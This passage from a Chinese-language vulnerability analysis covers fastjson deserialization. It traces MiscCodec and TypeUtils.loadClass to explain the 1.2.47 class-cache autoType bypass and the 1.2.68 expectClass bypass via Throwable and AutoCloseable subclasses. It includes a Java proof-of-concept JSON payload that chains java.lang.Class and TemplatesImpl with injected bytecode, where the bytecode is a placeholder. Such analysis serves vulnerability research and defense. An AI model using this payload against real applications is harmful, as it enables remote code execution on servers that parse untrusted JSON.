Class<?> loadClass(String className):该方法的内部实现通常是调用 loadClass(className, null, true)。虽然它默认开启了缓存,代码引用分析发现,能够触发这个方法的上层调用者,在反序列化过程中很难被简单的 JSON 数据触发,或者触发条件极其苛刻。
Class<?> loadClass(String className, ClassLoader classLoader):方法调用三个参数的重载方法,并添加参数 true ,也就是会加入参数缓存中,
1 2 3 public static Class<?> loadClass(String className, ClassLoader classLoader) { return loadClass(className, classLoader, true ); }
在这里我们关注 com.alibaba.fastjson.serializer.MiscCodec#deserialze 方法,这个类是用来处理一些乱七八糟类的反序列化类,其中就包括 Class.class 类,成为了我们的入口
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 public <T> T deserialze (DefaultJSONParser parser, Type clazz, Object fieldName) { JSONLexer lexer = parser.lexer; String className; if (clazz == InetSocketAddress.class) { if (lexer.token() == 8 ) { lexer.nextToken(); return null ; } else { parser.accept(12 ); InetAddress address = null ; int port = 0 ; while (true ) { className = lexer.stringVal(); lexer.nextToken(17 ); if (className.equals("address" )) { parser.accept(17 ); address = (InetAddress)parser.parseObject(InetAddress.class); } else if (className.equals("port" )) { parser.accept(17 ); if (lexer.token() != 2 ) { throw new JSONException ("port is not int" ); } port = lexer.intValue(); lexer.nextToken(); } else { parser.accept(17 ); parser.parse(); } if (lexer.token() != 16 ) { parser.accept(13 ); return new InetSocketAddress (address, port); } lexer.nextToken(); } } } else { Object objVal; if (parser.resolveStatus == 2 ) { parser.resolveStatus = 0 ; parser.accept(16 ); if (lexer.token() != 4 ) { throw new JSONException ("syntax error" ); } if (!"val" .equals(lexer.stringVal())) { throw new JSONException ("syntax error" ); } lexer.nextToken(); parser.accept(17 ); objVal = parser.parse(); parser.accept(13 ); } else { objVal = parser.parse(); } String strVal; if (objVal == null ) { strVal = null ; } else { if (!(objVal instanceof String)) { if (objVal instanceof JSONObject) { JSONObject jsonObject = (JSONObject)objVal; if (clazz == Currency.class) { String currency = jsonObject.getString("currency" ); if (currency != null ) { return Currency.getInstance(currency); } String symbol = jsonObject.getString("currencyCode" ); if (symbol != null ) { return Currency.getInstance(symbol); } } if (clazz == Map.Entry.class) { return jsonObject.entrySet().iterator().next(); } return jsonObject.toJavaObject(clazz); } throw new JSONException ("expect string" ); } strVal = (String)objVal; } if (strVal != null && strVal.length() != 0 ) { if (clazz == UUID.class) { return UUID.fromString(strVal); } else if (clazz == URI.class) { return URI.create(strVal); } else if (clazz == URL.class) { try { return new URL (strVal); } catch (MalformedURLException var10) { throw new JSONException ("create url error" , var10); } } else if (clazz == Pattern.class) { return Pattern.compile(strVal); } else if (clazz == Locale.class) { return TypeUtils.toLocale(strVal); } else if (clazz == SimpleDateFormat.class) { SimpleDateFormat dateFormat = new SimpleDateFormat (strVal, lexer.getLocale()); dateFormat.setTimeZone(lexer.getTimeZone()); return dateFormat; } else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) { if (clazz == File.class) { if (strVal.indexOf(".." ) >= 0 && !FILE_RELATIVE_PATH_SUPPORT) { throw new JSONException ("file relative path not support." ); } else { return new File (strVal); } } else if (clazz == TimeZone.class) { return TimeZone.getTimeZone(strVal); } else { if (clazz instanceof ParameterizedType) { ParameterizedType parmeterizedType = (ParameterizedType)clazz; clazz = parmeterizedType.getRawType(); } if (clazz == Class.class) { return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); } else if (clazz == Charset.class) { return Charset.forName(strVal); } else if (clazz == Currency.class) { return Currency.getInstance(strVal); } else if (clazz == JSONPath.class) { return new JSONPath (strVal); } else if (!(clazz instanceof Class)) { throw new JSONException ("MiscCodec not support " + clazz.toString()); } else { className = ((Class)clazz).getName(); if (className.equals("java.nio.file.Path" )) { try { if (method_paths_get == null && !method_paths_get_error) { Class<?> paths = TypeUtils.loadClass("java.nio.file.Paths" ); method_paths_get = paths.getMethod("get" , String.class, String[].class); } if (method_paths_get != null ) { return method_paths_get.invoke((Object)null , strVal, new String [0 ]); } throw new JSONException ("Path deserialize erorr" ); } catch (NoSuchMethodException var12) { method_paths_get_error = true ; } catch (IllegalAccessException var13) { throw new JSONException ("Path deserialize erorr" , var13); } catch (InvocationTargetException var14) { throw new JSONException ("Path deserialize erorr" , var14); } } throw new JSONException ("MiscCodec not support " + className); } } } else { try { return InetAddress.getByName(strVal); } catch (UnknownHostException var11) { throw new JSONException ("deserialize inet adress error" , var11); } } } else { return null ; } } }
这个地方调用了我们刚才想要的重载方法:
1 2 3 if (clazz == Class.class) { return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); }
这里我们调试一下payload看看如何进入: 可以看到我们成功传入java.lang.Class这个类,之后会进入 然后mappings.put成功
最终payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class Main { public static void main (String[] args) { ParserConfig config = new ParserConfig (); String evilCode_base64 = "xxx" ; String text = "{" + "\"a\": {" + "\"@type\": \"java.lang.Class\"," + "\"val\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"" + "}," + "\"b\": {" + "\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," + "\"_bytecodes\": [\"" + evilCode_base64 + "\"]," + "\"_name\": \"a.b\"," + "\"_tfactory\": {}," + "\"_outputProperties\": {}" + "}" + "}" ; Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField); } }
1.2.68 在 1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了cache 为 false ,并且 loadClass 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。版本 1.2.68 本身更新了一个新的安全控制点 safeMode,如果应用程序开启了 safeMode,将在 checkAutoType() 中直接抛出异常,也就是完全禁止 autoType。 但与此同时,这个版本报出了一个新的 autoType 开关绕过方式:利用 expectClass 绕过 checkAutoType()。
在 checkAutoType() 函数中有这样的逻辑:如果函数有 expectClass 入参,且我们传入的类名是 expectClass 的子类或实现,并且不在黑名单中,就可以通过 checkAutoType() 的安全检测。
这里涉及到:isAssignableFrom
这是 Java反射 API 的一个方法。 A.isAssignableFrom(B) 的意思是:B 是不是 A 的子类(或者 B 实现了接口 A)
我们找一下 checkAutoType() 几个重载方法是否有可控的 expectClass 的入参方式,最终找到了以下几个类:
ThrowableDeserializer#deserialze()
JavaBeanDeserializer#deserialze()
ThrowableDeserializer#deserialze() 方法直接将 @type 后的类传入 checkAutoType() ,并且 expectClass 为 Throwable.class。 通过 checkAutoType() 之后,将使用 createException 来创建异常类的实例. 这就形成了 Throwable 子类绕过 checkAutoType() 的方式。我们需要找到 Throwable 的子类,这个类的 getter/setter/static block/constructor 中含有具有威胁的代码逻辑。
与 Throwable 类似地,还有 AutoCloseable ,之所以使用 AutoCloseable 以及其子类可以绕过 checkAutoType() ,是因为 AutoCloseable 是属于 fastjson 内置的白名单中